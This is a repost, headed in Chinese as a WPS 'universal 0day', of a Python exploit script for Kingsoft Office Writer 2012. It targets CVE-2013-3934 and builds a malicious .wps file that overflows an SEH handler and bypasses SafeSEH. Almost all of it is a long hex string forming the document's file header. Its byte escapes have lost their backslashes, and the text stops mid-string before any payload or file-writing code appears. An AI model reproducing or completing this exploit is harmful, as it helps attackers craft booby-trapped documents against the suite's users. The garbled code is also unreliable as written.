金山软件wps2012-2013通杀0day

    #!/usr/bin/python
    # Exploit Title: Kingsoft Office Writer v2012 8.1.0.3385 .wps Buffer Overflow Exploit (SEH)
    # Version:       2012 8.1.0.3385
    # Date:          2013-11-27
    # Author:        Julien Ahrens (@MrTuxracer)
    # Homepage:      http://www.rcesecurity.com
    # Software Link: http://www.kingsoftstore.com
    # Tested on:     WinXP-GER, Win7-GER, Win8-EN
    #
    # Credits for vulnerability discovery:
    # Kaveh Ghaemmaghami (http://www.securityfocus.com/bid/61796)
    #
    # Howto / Notes:
    # This scripts creates a .wps file which exploits the vulnerability described in
    # CVE-2013-3934 and bypasses SafeSEH protection
    from struct import pack
    file="exploit.wps"
    head=("xD0xCFx11xE0xA1xB1x1AxE1x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x3Ex00x03x00xFExFFx09x00"+
    "x06x00x00x00x00x00x00x00x00x00x00x00x01x00x00x00"+
    "x01x00x00x00x00x00x00x00x00x10x00x00x02x00x00x00"+
    "x01x00x00x00xFExFFxFFxFFx00x00x00x00x00x00x00x00"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFDxFFxFFxFFx05x00x00x00xFExFFxFFxFFx04x00x00x00"+
    "x06x00x00x00xFExFFxFFxFFx07x00x00x00x08x00x00x00"+
    "x09x00x00x00x0Ax00x00x00x0Bx00x00x00x0Cx00x00x00"+
    "x0Dx00x00x00x0Ex00x00x00x0Fx00x00x00x10x00x00x00"+
    "x11x00x00x00x12x00x00x00x13x00x00x00xFExFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "x52x00x6Fx00x6Fx00x74x00x20x00x45x00x6Ex00x74x00"+
    "x72x00x79x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x16x00x05x00xFFxFFxFFxFFxFFxFFxFFxFFx01x00x00x00"+
    "x06x09x02x00x00x00x30x4BxA9x77xD2x14x85x20x36xFE"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x60x53x8Ex7F"+
    "x5CxE9xCEx01x03x00x00x00x40x1Ex00x00x00x00x00x00"+
    "x05x00x53x00x75x00x6Dx00x6Dx00x61x00x72x00x79x00"+
    "x49x00x6Ex00x66x00x6Fx00x72x00x6Dx00x61x00x74x00"+
    "x69x00x6Fx00x6Ex00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x28x00x02x01x04x00x00x00x02x00x00x00xFFxFFxFFxFF"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x02x00x00x00x00x00x00"+
    "x05x00x44x00x6Fx00x63x00x75x00x6Dx00x65x00x6Ex00"+
    "x74x00x53x00x75x00x6Dx00x6Dx00x61x00x72x00x79x00"+
    "x49x00x6Ex00x66x00x6Fx00x72x00x6Dx00x61x00x74x00"+
    "x69x00x6Fx00x6Ex00x00x00x00x00x00x00x00x00x00x00"+
    "x38x00x02x01xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x08x00x00x00xF0x01x00x00x00x00x00x00"+
    "x57x00x6Fx00x72x00x64x00x44x00x6Fx00x63x00x75x00"+
    "x6Dx00x65x00x6Ex00x74x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x1Ax00x02x00xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x10x00x00x00x2Fx0Ex00x00x00x00x00x00"+
    "x01x00x00x00x02x00x00x00x03x00x00x00x04x00x00x00"+
    "x05x00x00x00x06x00x00x00x07x00x00x00xFExFFxFFxFF"+
    "x09x00x00x00x0Ax00x00x00x0Bx00x00x00x0Cx00x00x00"+
    "x0Dx00x00x00x0Ex00x00x00x0Fx00x00x00xFExFFxFFxFF"+
    "x11x00x00x00x12x00x00x00x13x00x00x00x14x00x00x00"+
    "x15x00x00x00x16x00x00x00x17x00x00x00x18x00x00x00"+
    "x19x00x00x00x1Ax00x00x00x1Bx00x00x00x1Cx00x00x00"+
    "x1Dx00x00x00x1Ex00x00x00x1Fx00x00x00x20x00x00x00"+
    "x21x00x00x00x22x00x00x00x23x00x00x00x24x00x00x00"+
    "x25x00x00x00x26x00x00x00x27x00x00x00x28x00x00x00"+
    "x29x00x00x00x2Ax00x00x00x2Bx00x00x00x2Cx00x00x00"+
    "x2Dx00x00x00x2Ex00x00x00x2Fx00x00x00x30x00x00x00"+
    "x31x00x00x00x32x00x00x00x33x00x00x00x34x00x00x00"+
    "x35x00x00x00x36x00x00x00x37x00x00x00x38x00x00x00"+
    "x39x00x00x00x3Ax00x00x00x3Bx00x00x00x3Cx00x00x00"+
    "x3Dx00x00x00x3Ex00x00x00x3Fx00x00x00x40x00x00x00"+
    "x41x00x00x00x42x00x00x00x43x00x00x00x44x00x00x00"+
    "x45x00x00x00x46x00x00x00x47x00x00x00x48x00x00x00"+
    "xFExFFxFFxFFx4Ax00x00x00x4Bx00x00x00x4Cx00x00x00"+
    "x4Dx00x00x00x4Ex00x00x00x4Fx00x00x00x50x00x00x00"+
    "x51x00x00x00x52x00x00x00x53x00x00x00x54x00x00x00"+
    "x55x00x00x00x56x00x00x00x57x00x00x00x58x00x00x00"+
    "x59x00x00x00x5Ax00x00x00x5Bx00x00x00x5Cx00x00x00"+
    "x5Dx00x00x00x5Ex00x00x00x5Fx00x00x00x60x00x00x00"+
    "x61x00x00x00x62x00x00x00x63x00x00x00x64x00x00x00"+
    "x65x00x00x00x66x00x00x00x67x00x00x00x68x00x00x00"+
    "x69x00x00x00x6Ax00x00x00x6Bx00x00x00x6Cx00x00x00"+
    "x6Dx00x00x00x6Ex00x00x00x6Fx00x00x00x70x00x00x00"+
    "x71x00x00x00x72x00x00x00x73x00x00x00x74x00x00x00"+
    "x75x00x00x00x76x00x00x00x77x00x00x00x78x00x00x00"+
    "xFExFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "xFExFFx00x00x05x01x02x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x01x00x00x00xE0x85x9FxF2"+
    "xF9x4Fx68x10xABx91x08x00x2Bx27xB3xD9x30x00x00x00"+
    "xD0x01x00x00x12x00x00x00x01x00x00x00xA0x00x00x00"+
    "x00x00x00x80xA8x00x00x00x02x00x00x00xB0x00x00x00"+
    "x03x00x00x00xC4x00x00x00x04x00x00x00xD0x00x00x00"+
    "x05x00x00x00xF4x00x00x00x06x00x00x00x00x01x00x00"+
    "x07x00x00x00x0Cx01x00x00x08x00x00x00x2Cx01x00x00"+
    "x09x00x00x00x4Cx01x00x00x0Cx00x00x00x58x01x00x00"+
    "x0Dx00x00x00x64x01x00x00x0Bx00x00x00x70x01x00x00"+
    "x0Ex00x00x00x7Cx01x00x00x0Fx00x00x00x84x01x00x00"+
    "x10x00x00x00x8Cx01x00x00x12x00x00x00x94x01x00x00"+
    "x13x00x00x00xC8x01x00x00x00x00x00x00x00x00x00x00"+
    "x02x00x00x00xB0x04x00x00x13x00x00x00x07x04x00x00"+
    "x1Fx00x00x00x05x00x00x00x74x00x65x00x73x00x74x00"+
    "x00x00x00x00x1Fx00x00x00x01x00x00x00x00x00x00x00"+
    "x1Fx00x00x00x0Ex00x00x00x41x00x64x00x6Dx00x69x00"+
    "x6Ex00x69x00x73x00x74x00x72x00x61x00x74x00x6Fx00"+
    "x72x00x00x00x1Fx00x00x00x01x00x00x00x00x00x00x00"+
    "x1Fx00x00x00x01x00x00x00x00x00x00x00x1Fx00x00x00"+
    "x0Bx00x00x00x4Ex00x6Fx00x72x00x6Dx00x61x00x6Cx00"+
    "x2Ex00x77x00x70x00x74x00x00x00x00x00x1Fx00x00x00"+
    "x0Bx00x00x00x7Ax00x68x00x61x00x6Ex00x67x00x71x00"+
    "x69x00x61x00x6Ex00x67x00x00x00x00x00x1Fx00x00x00"+
    "x02x00x00x00x33x00x00x00x40x00x00x00x00x0Ax6Ex92"+
    "x1DxEDxCAx01x40x00x00x00x00x50x29x7Fx5CxE9xCEx01"+
    "x40x00x00x00x00xC0x0CxA9xA9x35x4Fx01x03x00x00x00"+
    "x01x00x00x00x03x00x00x00x00x00x00x00x03x00x00x00"+
    "x00x00x00x00x1Fx00x00x00x16x00x00x00x4Dx00x69x00"+
    "x63x00x72x00x6Fx00x73x00x6Fx00x66x00x74x00x20x00"+
    "x4Fx00x66x00x66x00x69x00x63x00x65x00x20x00x57x00"+
    "x6Fx00x72x00x64x00x00x00x03x00x00x00x00x00x00x00"+
    "xFExFFx00x00x05x01x02x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x02x00x00x00x02xD5xCDxD5"+
    "x9Cx2Ex1Bx10x93x97x08x00x2Bx2CxF9xAEx44x00x00x00"+
    "x05xD5xCDxD5x9Cx2Ex1Bx10x93x97x08x00x2Bx2CxF9xAE"+
    "x5Cx01x00x00x18x01x00x00x10x00x00x00x01x00x00x00"+
    "x88x00x00x00x00x00x00x80x90x00x00x00x0Fx00x00x00"+
    "x98x00x00x00x02x00x00x00xA4x00x00x00x0Ex00x00x00"+
    "xB0x00x00x00x06x00x00x00xBCx00x00x00x05x00x00x00"+
    "xC4x00x00x00x11x00x00x00xCCx00x00x00x03x00x00x00"+
    "xD4x00x00x00x04x00x00x00xE0x00x00x00x07x00x00x00"+
    "xE8x00x00x00x08x00x00x00xF0x00x00x00x09x00x00x00"+
    "xF8x00x00x00x0Ax00x00x00x00x01x00x00x0Bx00x00x00"+
    "x08x01x00x00x10x00x00x00x10x01x00x00x02x00x00x00"+
    "xB0x04x00x00x13x00x00x00x07x04x00x00x1Fx00x00x00"+
    "x01x00x00x00x00x00x00x00x1Fx00x00x00x01x00x00x00"+
    "x00x00x00x00x1Fx00x00x00x01x00x00x00x00x00x00x00"+
    "x03x00x00x00x01x00x00x00x03x00x00x00x01x00x00x00"+
    "x03x00x00x00x00x00x00x00x1Fx00x00x00x01x00x00x00"+
    "x00x00x00x00x03x00x00x00x00x00x00x00x03x00x00x00"+
    "x00x00x00x00x03x00x00x00x00x00x00x00x03x00x00x00"+
    "x00x00x00x00x03x00x00x00x00x00x00x00x0Bx00x00x00"+
    "x00x00x00x00x0Bx00x00x00x00x00x00x00x94x00x00x00"+
    "x04x00x00x00x00x00x00x00x28x00x00x00x01x00x00x00"+
    "x5Cx00x00x00x00x00x00x80x64x00x00x00x02x00x00x00"+
    "x6Cx00x00x00x01x00x00x00x02x00x00x00x13x00x00x00"+
    "x4Bx00x53x00x4Fx00x50x00x72x00x6Fx00x64x00x75x00"+
    "x63x00x74x00x42x00x75x00x69x00x6Cx00x64x00x56x00"+
    "x65x00x72x00x00x00x00x00x02x00x00x00xB0x04x00x00"+
    "x13x00x00x00x07x04x00x00x1Fx00x00x00x10x00x00x00"+
    "x31x00x30x00x33x00x33x00x2Dx00x38x00x2Ex00x31x00"+
    "x2Ex00x30x00x2Ex00x33x00x33x00x38x00x35x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x30x00x54x00x61x00x62x00x6Cx00x65x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x0Ex00x02x01x05x00x00x00x03x00x00x00xFFxFFxFFxFF"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x49x00x00x00xEAx0Bx00x00x00x00x00x00"+
    "x44x00x61x00x74x00x61x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x0Ax00x02x00xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00xFExFFxFFxFFx00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "xECxA5xC1x00x89x88x09x04x00x00x14x50xBFx00x00x00"+
    "x00x00x00x10x00x00x00x00x00x08x00x00x0Ax08x00x00"+
    "x0Ex00x4Bx53x4Bx53xC3x00x08x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x04x08x16x00"+
    "x2Fx0Ex00x00x00x00x00x00x00x00x00x00x05x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00xFFxFFx0Fx00"+
    "x00x00x00x00x00x00x00x00xFFxFFx0Fx00x00x00x00x00"+
    "x00x00x00x00xFFxFFx0Fx00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00xA4x00x00x00x00x00xD2x04"+
    "x00x00x00x00x00x00xD2x04x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x1Dx0Bx00x00x14x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00xD2x04x00x00x0Cx00"+
    "x00x00xDEx04x00x00x0Cx00x00x00x00x00x00x00x00x00"+
    "x00x00xFFx04x00x00x1Ex03x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00xE8x0Bx00x00x02x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00xF9x0Ax00x00x24x00"+
    "x00x00x91x08x00x00x68x02x00x00x1Dx08x00x00x74x00"+
    "x00x00xEAx04x00x00x15x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x31x0Bx00x00xB7x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x02x00x0Cx01x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x74x00x65x00x73x00x74x00x0Dx00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
